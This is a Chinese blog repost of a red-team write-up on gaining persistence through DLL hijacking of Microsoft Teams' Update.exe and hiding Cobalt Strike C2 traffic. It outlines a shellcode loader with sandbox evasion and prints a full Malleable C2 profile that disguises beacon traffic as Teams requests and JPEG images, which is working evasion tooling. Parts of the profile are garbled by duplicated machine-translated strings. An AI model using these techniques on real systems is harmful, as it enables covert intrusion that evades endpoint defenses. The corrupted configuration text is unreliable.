前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >利用 Microsoft Teams 维权并掩盖 Cobalt Strike 流量

利用 Microsoft Teams 维权并掩盖 Cobalt Strike 流量

作者头像
黑白天安全
发布于 2021-10-18 07:58:43
发布于 2021-10-18 07:58:43
1.2K00
代码可运行
举报
运行总次数:0
代码可运行

介绍

在最近的一次操作中,我们获得了工作站的本地管理员权限,但是在该工作站上发现了 EDR 解决方案。

在这种情况下,下一步是在目标中进行绕过EDR维权并在系统中持续进行攻击。在探索了几个方法后,我们决定使用DLL劫持来进行绕过EDR来维权,经过分析,一个Microsoft Teams二进制文件被确定为容易受到DLL Hijacking 的攻击。

本文解析了维权和C&C的流量如何绕过EDR,一是利用DLL劫持进行维权,然后详细介绍了在使用 Cobalt Strike C2 配置文件与 C&C 通信时如何模拟合法的 Microsoft Teams 流量。

通过DLL劫持持久化

为了简化流程,我们准备了一个尽可能接近目标的本地环境,以进行相应的测试。之后,我们使用进程监视器来识别尝试加载不存在的 DLL 的进程。

发现进程“Update.exe”(32 位)试图从可执行目录加载“ CRYPTSP.dll ”,但未能成功,因为文件位于 C:\Windows\SysWOW64。

这意味着,如果恶意 DLL 与二进制文件位于同一目录中,则下次启动“Update.exe”时,该进程将首先加载该DLL。

经过分析我们认为此可执行文件是在目标中进行维权的理想方法:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
它是一个应用程序更新管理器 ( Squirrel ),
存在于多个产品安装中(Teams、Slack、Discord、Webex)。
在这种情况下,它是 Microsoft Teams 的一部分,它由 Microsoft 签名。
每次用户打开应用程序时都会执行它。

默认安装会在 Windows 注册表中设置一个 Run 键,每次用户登录时都会自动启动应用程序。

它可以与 Internet 建立常规 HTTP 连接,那么可能为我们提供一种伪装与 C&C 通信的方法。

选定目标后,我们需要实现一个执行恶意代码的 DLL(在本例中为 Cobalt Strike 负载)。

为了实现这一点,我们需要在调试二进制文件在所有导入的函数上放置断点,以检查哪些函数首先在“CRYPTSP.dll”中被调用。

CryptAcquireContextW() 断点

这表明这CryptAcquireContextW()是“Update.exe”调用的第一个函数,因此红队开发了一个库,该库使用自定义加载程序导出此函数,该加载程序从磁盘解密并执行原始 Cobalt Strike 有效载荷(shellcode).当然也可以使用DLL代理。

(译者注:个人建议最好使用DLL代理)

在这种情况下,导出的函数执行以下操作:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
如果有效负载已执行,则使用互斥锁停止执行。
stale()函数调用来逃避一些机器学习和沙盒检查。
从磁盘检索和解密 Shellcode。
Teams.exe 执行以模仿 Update.exe 的合法行为。
通过执行的shellcode CreateFileMapping+MapViewOfFile+memcpy技术。

隐藏与 C&C 的通信

由于环境的限制,Internet 连接只允许与 Microsoft 域进行连接,因此域前端与定制的 Cobalt Strike 配置文件一起使用。这些设置提供了一种灵活的方式来构建 HTTP 请求和响应以与 C&C 通信。

使用此功能来隐藏代理的通信,模仿 Microsoft Teams 发出的 HTTP 流量。在这种情况下,使用了分段有效载荷,它分为两部分:stager 和 stage。第一个,较小的,负责获取第二个 C&C 阶段:一个包含所有代理逻辑(Cobalt Strike 术语中的信标)的 DLL,它将被反射加载到内存中。通过使用这种类型的有效载荷,与 C&C 的通信流可以分为 3 种类型:

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
获取 Cobalt DLL 的初始请求。
植入请求以获取任务。
植入请求以发送任务结果。

Stager:获取beacon

http-stager 部分定义了如何检索信标,其中 stager 请求模拟图像下载,使用 Microsoft Teams 自己的 HTTP 标头。响应似乎是合法图片,但包含信标 DLL。

为了实现这一点,我们需要使用了格式好的 JPEG 标头和尾随字节。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http-stager {
                set uri_x86 "/v1/objects/0-neu-d10-ccab474e582c03325f9f07ba8a3aae8a/views/imgo";
                set uri_x64 "/v1/objects/0-neu-d10-cdab424e592c03253f9f07ba8d9aae8a/views/imgo";
 client {
                header "Host""<Endpoint Azure>";
               header "x-mx-client-version""27/1.0.0.2021020410";
                header "Origin""https://teams.microsoft";
                parameter "v""1";
               }
 server {
               header "Server""Microsoft-IIS/10.0";
                header "strict-transport-security""max-age=31536000; includeSubDomains";
                header "X-Powered-By""ARR/3.0";
                header "X-Content-Type-Options""nosniff";
                header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26";
                header "x-ms-latency""40018.2038";
                header "Timing-Allow-Origin""https://teams.microsoft.com";
                header "Access-Control-Allow-Origin""https://teams.microsoft.com";
                header "Access-Control-Allow-Credentials""true";
                header "Connection""close";
                header "Content-Type""image/jpeg";
                output {
                prepend "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xFF\xDB\x00\x43\x00";
                append "\xF9\x7C\xF3\x4E\x3F\xEC\x7F\x82\x8C\xA4\xB5\x5B\x3E\x64\x11\xE7\xEA\x78\x70\xCD\x6B\xFE\x0E\x1F\xFF\xD9";
                               print;
                              }
               }
}

这样,Wireshark 等工具会将 HTTP 响应的内容识别为 JPEG 图像。

beacon获取任务

配置文件的以下部分用于定义 Cobalt Strike 代理要求执行新任务的定期请求格式。

这些请求使用“events”GET 参数来发送 base64 编码的会话信息。由服务器编码的信息被嵌入到看似合法的响应中。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
http-get {  
                set uri "/Collector/2.0/settings/"/收集器/ 2.0 /设置/;;
 client {
              header "Accept"“接受” "json"“json” ;;
              header "Host"“主机” "<Endpoint Azure>"<端点Azure >;;
              header "Referer"“推荐人” "https://teams.microsoft.com/_"“https://teams.microsoft.com/_” ;;
              header "x-ms-session-id"“x-ms-session-id” "f73c3186-057a-d996-3b63-b6e5de6ef20c"“f73c3186 - 057 a - d996 - 3 - b63 b6e5de6ef20c” ;;
              header "x-ms-client-type"“x-ms-client-type” "desktop"“桌面” ;;
              header "x-mx-client-version"“x-mx-client-version” "27/1.0.0.2021020410"27/1.0.0.2021020410;;
              header "Accept-Encoding"“接受编码” "gzip, deflate, br"“gzip、缩小,br” ;;
              header "Origin""https://teams.microsoft.com";

             parameter "qsp""true";
              parameter "client-id""NO_AUTH";
              parameter "sdk-version""ACT-Web-JS-2.5.0&";

              metadata {
                           base64url;
                           parameter "events";
                          }
             }
 server {
              header "Content-Type""application/json; charset=utf-8";
              header "Server""Microsoft-HTTPAPI/2.0";
              header "X-Content-Type-Options""nosniff";
              header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26";
              header "x-ms-latency""40018.2038";
              header "Access-Control-Allow-Origin""https://teams.microsoft.com";
              header "Access-Control-Allow-Credentials""true";
              header "Connection""keep-alive";
              output {
                           netbios;
                           prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/";
                           append "/events/poll?cursor=1613554385&epfs=srt&sca=4}";
                           print;
                          }
             }
}

发送命令

Beacon: 发送结果

最后,http-post 块指定了从代理发送到 C&C 的结果请求的格式。对于此示例,输出位于 Authentication HTTP 标头内,我们伪装成 JWT 身份验证令牌。

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制

http-post {
             set verb "GET";
             set uri "/users/8:orgid:b1a28-a1c3-3d54-4eb01adb1/endpoints/events/poll";

              client {
                           header "Accept""json";
                           header "Host""<Endpoint Azure>";
                           header "Referer""https://teams.microsoft.com/_";
                           header "x-ms-query-params""cursor=1613554385&epfs=srt&sca=5&activeTimeout=135";
                           header "x-ms-client-type""desktop";
                           header "x-mx-client-version""27/1.0.0.2021020410";
                           header "Accept-Encoding""gzip, deflate, br";
                           header "Origin""https://teams.microsoft";
                           output {
                                        base64;
                                        prepend "skypetoken=eyJhbGciOi";
                                        header "Authentication";
                          }
                           id {
                                        netbios;
                                        prepend "f73c3186-057a-d996-3b63-";
                                        header "x-ms-session-id";
                          }
}
              server {
                           header "Content-Type""application/json; charset=utf-8";
                           header "Server""Microsoft-HTTPAPI/2.0";
                           header "X-Content-Type-Options""nosniff";
                           header "x-ms-environment""North Europe-prod-3,_cnsVMSS-6_26";
                           header "x-ms-latency""40018.2038";
                           header "Access-Control-Allow-Origin""https://teams.microsoft.com";
                           header "Access-Control-Allow-Credentials""true";
                           header "Connection""keep-alive";

                           output {{
                                        netbios;
                                         prepend "{\"next\":\"https://westeurope-prod-3.notifications.teams.microsoft.com/users/8:orgid:a17481c3-f754-4d06-9730-4eb0be94afc3/endpoints/"{\“\”:\“https://westeurope刺激- 3. notifications.teams.microsoft.com/users/8: orgid: a17481c3 f754 - 4 d06 - 9730 - 4 - eb0be94afc3 /端点/;;
                                        append "/events/poll?cursor=1613554385&epfs=srt&sca=4}"“光标/事件/调查? = 1613554385 &epfs = srt&sca = 4};;
                                        print;
                                       }
                          }
}

发送结果

结论

本文展示了攻击者如何利用服务中的 DLL 劫持漏洞通过签名的二进制文件执行恶意代码,模仿相应合法应用程序的流量,以最大限度地减少被检测到的机会。

应该注意的是,这种技术在社会工程练习中也很有用,其中通过 Microsoft Office 宏在使用此应用程序更新管理器的任何应用程序目录中部署恶意 DLL 就足够了,而无需直接注入或执行任何有效负载。

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2021-09-28,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 黑白天实验室 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
看我如何模拟Cobalt Strike上线欺骗入侵者
不知道你有没有遇到过马上线却不能操作的情况,我猜当你网络卡或马写得不好时会出现这个问题,但是人为的你可能没遇到过,首先要欺骗你的远控,得分析你的协议,如果你的马根本不是公开的。网络又是好的,你刚往人家机器里种马,发现马只能上线不能操作,绝对是马有问题,不能甩锅我。人家都不知道你的马的通信原理,流量特征,不可能事先准备好一个程序,让你一发就欺骗你的马。 本文主要研究CS这个APT很喜欢用的马,当然TCP的也一样原理,只要构造对应的数据包就可欺骗
重生信息安全
2020/04/26
1.8K0
看我如何模拟Cobalt Strike上线欺骗入侵者
Cobalt Strike隐藏特征与混淆流量
服务器禁ping从某种意义上来说,算是不存活的主机,但nmap是依然能够扫描出来的。 设置禁ping命令: vim /etc/sysctl.conf 打开后按i进入编辑模式,在任意位置新增以下内容 net.ipv4.icmp_echo_ignore_all=1
kam1
2022/03/08
3.4K0
Cobalt Strike隐藏特征与混淆流量
红队作业 | ​MSF和CS实战技巧汇总
其实就是内网穿透,使用frp做映射也能实现相同的效果,内网的中的Kali可以通过VSP访问到另外一个内网中。
Ms08067安全实验室
2022/04/06
1.1K0
红队作业 | ​MSF和CS实战技巧汇总
Cobalt Strike 流量特征
Cobalt Strike 流量特征 总结来源于网上资料, 有错的地方欢迎各位大佬指正。 简介 简介:Cobalt Strike is software for Adversary Simulations and Red Team Operations. Cobalt Strike 简称CS, A-team详细介绍使用网址。CS是一款优秀的后渗透工具,可以在获取主机权限后进行长久权限维持,快速进行内网提权,凭据导出等。在后渗透中如果未修改特征,容易被流量审计设备监控,被蓝队溯源。 Cobalt Strike
A_snail
2023/05/09
1.6K0
Cobalt Strike 流量特征
Sliver取代Cobalt Strike成黑客渗透工具“新宠”
8月25日消息,攻击者逐渐弃用Cobalt Strike渗透测试套件,转而使用不太知名的类似框架。开源跨平台工具Sliver正取代Brute Ratel成为受攻击者青睐的武器。 在过去的几年里,Cobalt Strike被各类攻击者滥用(包括勒索软件操作),攻击者利用它在被攻击的网络上投放 "信标",横向移动到高价值系统。 但防守方已经掌握检测和阻止Cobalt Strike攻击的方法,攻击者转向尝试其他可以逃避端点检测和响应(EDR)和防病毒解决方案的工具。 微软的一份报告指出,从国家支持的团体到网络犯
FB客服
2023/03/30
8690
Sliver取代Cobalt Strike成黑客渗透工具“新宠”
Malleable-C2-Profiles配置
在日常的渗透测试工作中,我们需要做很多的规避操作,因为我们所使用的C2工具等,可能早已被AV等防护软件所标记,所以我们需要订制我们的攻击工具。而这就引出了我们的今天的重点Malleable C2 ,Malleable C2 是 Cobalt Strike 的一项功能, 意为 "可定制的" 的 C2 服务器. Malleable C2 允许我们仅通过一个简单的配置文件来改变 Beacon 与 C2 通信时的流量特征与行为。
鸿鹄实验室
2021/04/15
1.5K0
Malleable-C2-Profiles配置
SPAWN - Cobalt Strike BOF
Cobalt Strike BOF 产生一个牺牲进程,用 shellcode 注入它,并执行有效载荷。旨在通过使用任意代码保护 (ACG)、BlockDll 和 PPID 欺骗生成牺牲进程来逃避 EDR/UserLand 钩子。
Khan安全团队
2021/08/26
2.4K0
SPAWN - Cobalt Strike BOF
HW : Cobalt Strike 应该这样学
上一篇文章中讲解了elf loader的实现,接下来会有文章继续拓展这个内容:打造无execve的shellcode版 bash,未来的linux渗透大杀器。
七夜安全博客
2020/05/18
1.7K0
Cobalt Strike特征隐藏和流量加密(CS服务器伪装)
测试成功 5.到cloudflare添加域名,并修改dns 开启自动HTTPS重写
R0A1NG
2022/02/19
3.4K0
Cobalt Strike特征隐藏和流量加密(CS服务器伪装)
攻击者利用公开的 Cobalt Strike 配置文件
在本文中,Unit 42 研究人员详细介绍了最近发现的恶意 Cobalt Strike 基础设施。我们还分享了恶意 Cobalt Strike 样本的示例,这些样本使用了 Malleable C2 配置文件,这些配置文件源自托管在公共代码存储库中的同一配置文件。
Khan安全团队
2024/07/04
1950
攻击者利用公开的 Cobalt Strike 配置文件
如何识别恶意Cobalt Strike服务器
Cobalt Strike是一个渗透平台,供安全专业人员用于模拟高级黑客的定向攻击和后渗透行动。该工具由总部位于华盛顿的Strategic Cyber LLC公司开发并授权,该公司对该工具的非法使用受到监管,并受到出口管制。尽管如此,Cobalt Strike框架已经成为该类软件中的最热门的选择,其中包括Metasploit Pro、Core Impact等其他付费套件。在这类平台中,虽然Cobalt Strike并不是唯一一个被盗版用户和网络罪犯使用的平台,但其已经被各种包括APT32在内的威胁集团使用,他们使用该工具进行初步渗透,而以同名命名的Cobalt集团也严重依赖该框架。
FB客服
2021/03/09
2K0
如何识别恶意Cobalt Strike服务器
流量加密之C2隐藏
文章地址:https://www.freebuf.com/articles/network/330713.html
亿人安全
2022/06/21
12.7K1
流量加密之C2隐藏
cobalt strike笔记-listener利用手法和分析
一个监听器既是一个 payload 的配置信息,同时又是 Cobalt Strike 起一个服务器来接收来自这个 payload 的连接的指示。一个监听器由用户定义的名称、payload 类型和几个特定于 payload 的选项组成。
黑白天安全
2020/12/14
4.4K0
反制学习:Cobalt Strike批量上线
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/01/25
1.9K0
反制学习:Cobalt Strike批量上线
CobaltStrike魔改与增强
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
用户8478399
2022/09/22
2.6K0
CobaltStrike魔改与增强
Cobalt Strike 初体验
Cobalt Strike 一款以 metasploit 为基础的 GUI 的框架式渗透测试工具,集成了端口转发、服务扫描,自动化溢出,多模式端口监听,win exe 木马生成,win dll 木马生成,java 木马生成,office 宏病毒生成,木马捆绑。
信安之路
2018/08/08
1.1K0
Cobalt Strike 初体验
蓝队的反制
  还记得前几天,360的一篇文章:浅析CobaltStrike Beacon Staging Server扫描
潇湘信安
2021/02/12
1.3K0
蓝队的反制
Mysql蜜罐反制cobalt strike
乌鸦安全的技术文章仅供参考,此文所提供的信息只为网络安全人员对自己所负责的网站、服务器等(包括但不限于)进行检测或维护参考,未经授权请勿利用文章中的技术资料对任何计算机系统进行入侵操作。利用此文所提供的信息而造成的直接或间接后果和损失,均由使用者本人负责。
乌鸦安全
2022/12/19
7620
Mysql蜜罐反制cobalt strike
渗透神器Cobalt Strike使用教程
请注意,本文编写于 560 天前,最后修改于 542 天前,其中某些信息可能已经过时。
Xcnte
2021/12/14
2.1K0
渗透神器Cobalt Strike使用教程
使用 Cobalt Strike 的 Beacon 对象文件自定义 DLL 注入
信标对象文件 (BOF) 是一个已编译的 C 程序,按照约定编写,允许在信标进程中执行并使用内部信标 API。
黑白天安全
2021/10/18
2.2K0
使用 Cobalt Strike 的 Beacon 对象文件自定义 DLL 注入
相关推荐
看我如何模拟Cobalt Strike上线欺骗入侵者
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验